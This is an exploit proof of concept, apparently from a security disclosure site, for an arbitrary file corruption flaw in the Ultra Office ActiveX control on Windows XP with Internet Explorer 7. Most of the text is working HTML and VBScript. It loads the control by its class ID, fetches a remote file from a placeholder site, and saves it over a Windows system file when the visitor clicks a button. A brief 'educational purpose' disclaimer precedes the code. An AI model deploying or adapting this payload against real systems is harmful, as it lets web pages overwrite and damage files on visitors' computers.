ultra-corrupt.txt

`-----------------------------------------------------------------------------  
Ultra Office ActiveX Control Remote Arbitrary File Corruption  
url: http://www.ultrashareware.com  
  
Author: shinnai  
mail: shinnai[at]autistici[dot]org  
site: http://shinnai.altervista.org  
  
This was written for educational purpose. Use it at your own risk.  
Author will be not responsible for any damage.  
  
Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7  
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<object classid='clsid:00989888-BB72-4e31-A7C6-5F819C24D2F7' id='test'></object>  
  
<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>  
  
<script language='vbscript'>  
Sub tryMe  
dim remURL  
remURL = "http://SomeSite.com/SomeFile.doc"  
test.Open remURL, True  
test.Save "C:\WINDOWS\_system.ini", True  
End Sub  
</script>  
  
`